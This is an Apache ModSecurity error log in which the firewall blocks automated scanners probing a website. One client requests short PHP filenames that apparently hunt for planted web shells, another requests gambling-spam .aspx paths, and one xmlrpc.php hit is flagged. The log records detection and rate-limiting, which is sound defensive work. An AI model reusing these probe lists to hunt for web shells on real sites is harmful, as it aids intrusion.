[Wed Apr 01 21:08:44.583522 2026] [:error] [pid 8909:tid 8962] [client 52.156.211.140:3952] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/11.php"] [unique_id "ac0Y3DvP_a0662gDl6DMcwAAANU"]
[Wed Apr 01 21:08:45.083127 2026] [:error] [pid 62559:tid 62578] [client 52.156.211.140:3989] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/11.php"] [unique_id "ac0Y3S7NKI8IaNKZFIehSAAAAVE"]
[Wed Apr 01 21:08:45.585753 2026] [:error] [pid 8909:tid 8942] [client 52.156.211.140:37198] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/20.php"] [unique_id "ac0Y3TvP_a0662gDl6DMeQAAAME"]
[Wed Apr 01 21:08:46.088726 2026] [:error] [pid 8909:tid 8944] [client 52.156.211.140:4093] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/20.php"] [unique_id "ac0Y3jvP_a0662gDl6DMfAAAAMM"]
[Wed Apr 01 21:08:46.648305 2026] [:error] [pid 8995:tid 9019] [client 52.156.211.140:4058] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/20.php"] [unique_id "ac0Y3uonaBjs3qxcRefLRAAAABU"]
[Wed Apr 01 21:08:47.153758 2026] [:error] [pid 8908:tid 8928] [client 52.156.211.140:4074] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/20.php"] [unique_id "ac0Y3_kmxtJXGnLdvgCLdAAAAI8"]
[Wed Apr 01 21:08:47.734577 2026] [:error] [pid 8908:tid 8914] [client 52.156.211.140:3999] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f35.php"] [unique_id "ac0Y3_kmxtJXGnLdvgCLdwAAAIE"]
[Wed Apr 01 21:08:48.249546 2026] [:error] [pid 8908:tid 8931] [client 52.156.211.140:37200] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f35.php"] [unique_id "ac0Y4PkmxtJXGnLdvgCLegAAAJI"]
[Wed Apr 01 21:08:48.768723 2026] [:error] [pid 8909:tid 8949] [client 52.156.211.140:3912] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f35.php"] [unique_id "ac0Y4DvP_a0662gDl6DMjQAAAMg"]
[Wed Apr 01 21:08:49.277189 2026] [:error] [pid 62559:tid 62576] [client 52.156.211.140:3944] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f35.php"] [unique_id "ac0Y4S7NKI8IaNKZFIehTgAAAU8"]
[Wed Apr 01 21:08:49.846084 2026] [:error] [pid 8910:tid 8982] [client 52.156.211.140:4005] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/c.php"] [unique_id "ac0Y4aJZINUcF3tYgExi7QAAAQ4"]
[Wed Apr 01 21:08:50.348672 2026] [:error] [pid 17856:tid 17865] [client 52.156.211.140:4021] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/c.php"] [unique_id "ac0Y4j7Idlm5j9frhqQ1vQAAAEc"]
[Wed Apr 01 21:08:50.857634 2026] [:error] [pid 17856:tid 17869] [client 52.156.211.140:3867] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/c.php"] [unique_id "ac0Y4j7Idlm5j9frhqQ1vwAAAEs"]
[Wed Apr 01 21:08:51.366016 2026] [:error] [pid 8910:tid 8977] [client 52.156.211.140:37204] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/c.php"] [unique_id "ac0Y46JZINUcF3tYgExi8QAAAQk"]
[Wed Apr 01 21:08:51.866730 2026] [:error] [pid 8909:tid 8946] [client 52.156.211.140:3958] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we2.php"] [unique_id "ac0Y4zvP_a0662gDl6DMkQAAAMU"]
[Wed Apr 01 21:08:52.368836 2026] [:error] [pid 62559:tid 62575] [client 52.156.211.140:37021] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we2.php"] [unique_id "ac0Y5C7NKI8IaNKZFIehUgAAAU4"]
[Wed Apr 01 21:08:53.879738 2026] [:error] [pid 62559:tid 62580] [client 52.156.211.140:4032] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we2.php"] [unique_id "ac0Y5S7NKI8IaNKZFIehVQAAAVM"]
[Wed Apr 01 21:08:54.400317 2026] [:error] [pid 8995:tid 9016] [client 52.156.211.140:3915] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we2.php"] [unique_id "ac0Y5uonaBjs3qxcRefLWAAAABI"]
[Wed Apr 01 21:08:54.907571 2026] [:error] [pid 17856:tid 17872] [client 52.156.211.140:4001] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/04.php"] [unique_id "ac0Y5j7Idlm5j9frhqQ1ywAAAE4"]
[Wed Apr 01 21:08:55.984720 2026] [:error] [pid 8995:tid 9011] [client 52.156.211.140:4013] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/04.php"] [unique_id "ac0Y5-onaBjs3qxcRefLWwAAAA0"]
[Wed Apr 01 21:08:56.486056 2026] [:error] [pid 17856:tid 17858] [client 52.156.211.140:3904] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/04.php"] [unique_id "ac0Y6D7Idlm5j9frhqQ11QAAAEA"]
[Wed Apr 01 21:08:56.990393 2026] [:error] [pid 62559:tid 62572] [client 52.156.211.140:37041] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/04.php"] [unique_id "ac0Y6C7NKI8IaNKZFIehXwAAAUs"]
[Wed Apr 01 21:08:58.522186 2026] [:error] [pid 8909:tid 8941] [client 52.156.211.140:37202] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/333.php"] [unique_id "ac0Y6jvP_a0662gDl6DMpQAAAMA"]
[Wed Apr 01 21:08:59.029462 2026] [:error] [pid 17856:tid 17882] [client 52.156.211.140:37039] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/333.php"] [unique_id "ac0Y6z7Idlm5j9frhqQ14QAAAFg"]
[Wed Apr 01 21:08:59.547892 2026] [:error] [pid 62559:tid 62577] [client 52.156.211.140:3938] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/333.php"] [unique_id "ac0Y6y7NKI8IaNKZFIehZAAAAVA"]
[Wed Apr 01 21:09:00.049712 2026] [:error] [pid 62559:tid 62570] [client 52.156.211.140:3930] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/333.php"] [unique_id "ac0Y7C7NKI8IaNKZFIehZQAAAUk"]
[Wed Apr 01 22:36:42.520833 2026] [:error] [pid 62559:tid 62578] [client 5.195.238.186:40161] [client 5.195.238.186] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.195.238.186, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ac0tei7NKI8IaNKZFIfKiwAAAVE"]
[Thu Apr 02 00:51:45.240472 2026] [:error] [pid 16761:tid 16777] [client 147.135.252.179:54026] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "ac1NId4bJXDGRqKZnzwN3AAAAE0"]
[Thu Apr 02 00:51:47.747004 2026] [:error] [pid 8387:tid 8451] [client 147.135.252.179:34874] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "ac1NIxdQYJ2y8LDYkv_1awAAAAs"]
[Thu Apr 02 00:51:50.178666 2026] [:error] [pid 8035:tid 8060] [client 147.135.252.179:34628] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "ac1NJgY2zflwGmvw_QbWZQAAAJQ"]
[Thu Apr 02 00:51:52.167173 2026] [:error] [pid 8037:tid 8117] [client 147.135.252.179:34642] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "ac1NKIGD8ox-W9jHVfC2KAAAAQk"]
[Thu Apr 02 00:51:54.298320 2026] [:error] [pid 8037:tid 8114] [client 147.135.252.179:34644] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "ac1NKoGD8ox-W9jHVfC2NgAAAQY"]
[Thu Apr 02 00:51:56.611080 2026] [:error] [pid 8387:tid 8445] [client 147.135.252.179:34652] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "ac1NLBdQYJ2y8LDYkv_1bwAAAAU"]
[Thu Apr 02 00:51:58.727846 2026] [:error] [pid 16761:tid 16764] [client 147.135.252.179:46286] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "ac1NLt4bJXDGRqKZnzwOEAAAAEA"]
[Thu Apr 02 00:52:00.940229 2026] [:error] [pid 16761:tid 16766] [client 147.135.252.179:46288] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "ac1NMN4bJXDGRqKZnzwOIgAAAEI"]
[Thu Apr 02 00:52:03.228041 2026] [:error] [pid 8037:tid 8114] [client 147.135.252.179:46304] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "ac1NM4GD8ox-W9jHVfC2RAAAAQY"]
[Thu Apr 02 00:52:05.609690 2026] [:error] [pid 8036:tid 8083] [client 147.135.252.179:46314] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "ac1NNUMvKg9PFa_VV4zTuwAAAMc"]
[Thu Apr 02 00:52:07.586758 2026] [:error] [pid 8035:tid 8062] [client 147.135.252.179:46326] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "ac1NNwY2zflwGmvw_QbWiAAAAJY"]
[Thu Apr 02 00:52:09.735830 2026] [:error] [pid 8035:tid 8054] [client 147.135.252.179:33712] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "ac1NOQY2zflwGmvw_QbWigAAAI4"]
[Thu Apr 02 00:52:12.036937 2026] [:error] [pid 8387:tid 8468] [client 147.135.252.179:33726] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "ac1NPBdQYJ2y8LDYkv_1ngAAABg"]
[Thu Apr 02 00:52:14.223229 2026] [:error] [pid 8387:tid 8448] [client 147.135.252.179:33736] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "ac1NPhdQYJ2y8LDYkv_1sAAAAAg"]
[Thu Apr 02 00:52:16.523969 2026] [:error] [pid 8387:tid 8457] [client 147.135.252.179:33752] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "ac1NQBdQYJ2y8LDYkv_1ugAAABA"]
[Thu Apr 02 00:52:18.683516 2026] [:error] [pid 8035:tid 8058] [client 147.135.252.179:58510] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "ac1NQgY2zflwGmvw_QbWogAAAJI"]
[Thu Apr 02 00:52:20.629778 2026] [:error] [pid 8035:tid 8057] [client 147.135.252.179:58518] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "ac1NRAY2zflwGmvw_QbWqQAAAJE"]
[Thu Apr 02 00:52:22.986220 2026] [:error] [pid 8035:tid 8051] [client 147.135.252.179:58532] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "ac1NRgY2zflwGmvw_QbWtQAAAIs"]
[Thu Apr 02 00:52:25.333119 2026] [:error] [pid 8036:tid 8088] [client 147.135.252.179:58546] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "ac1NSUMvKg9PFa_VV4zT4gAAAMw"]
[Thu Apr 02 00:52:27.456396 2026] [:error] [pid 8387:tid 8453] [client 147.135.252.179:58552] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "ac1NSxdQYJ2y8LDYkv_11wAAAA0"]
[Thu Apr 02 00:52:29.362875 2026] [:error] [pid 8387:tid 8467] [client 147.135.252.179:52818] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "ac1NTRdQYJ2y8LDYkv_14gAAABc"]
[Thu Apr 02 00:52:31.501093 2026] [:error] [pid 16761:tid 16782] [client 147.135.252.179:52820] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "ac1NT94bJXDGRqKZnzwOggAAAFI"]
[Thu Apr 02 00:52:33.564712 2026] [:error] [pid 8036:tid 8078] [client 147.135.252.179:52824] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "ac1NUUMvKg9PFa_VV4zT8AAAAMI"]
[Thu Apr 02 00:52:35.657719 2026] [:error] [pid 8035:tid 8058] [client 147.135.252.179:52832] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "ac1NUwY2zflwGmvw_QbW0gAAAJI"]
[Thu Apr 02 00:52:37.902825 2026] [:error] [pid 8037:tid 8115] [client 147.135.252.179:52840] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20demo.aspx"] [unique_id "ac1NVYGD8ox-W9jHVfC2hgAAAQc"]
[Thu Apr 02 00:52:39.900643 2026] [:error] [pid 8035:tid 8054] [client 147.135.252.179:56800] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20free.aspx"] [unique_id "ac1NVwY2zflwGmvw_QbW5AAAAI4"]
[Thu Apr 02 00:53:16.091633 2026] [:error] [pid 8387:tid 8443] [client 147.135.252.179:56808] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot1234%20pg.aspx"] [unique_id "ac1NfBdQYJ2y8LDYkv_2dQAAAAM"]
[Thu Apr 02 00:53:18.002787 2026] [:error] [pid 8387:tid 8461] [client 147.135.252.179:42066] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slotxo%20wallet.aspx"] [unique_id "ac1NfhdQYJ2y8LDYkv_2eQAAABQ"]
[Thu Apr 02 00:53:19.803763 2026] [:error] [pid 16761:tid 16785] [client 147.135.252.179:50386] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "ac1Nf94bJXDGRqKZnzwPNgAAAFU"]
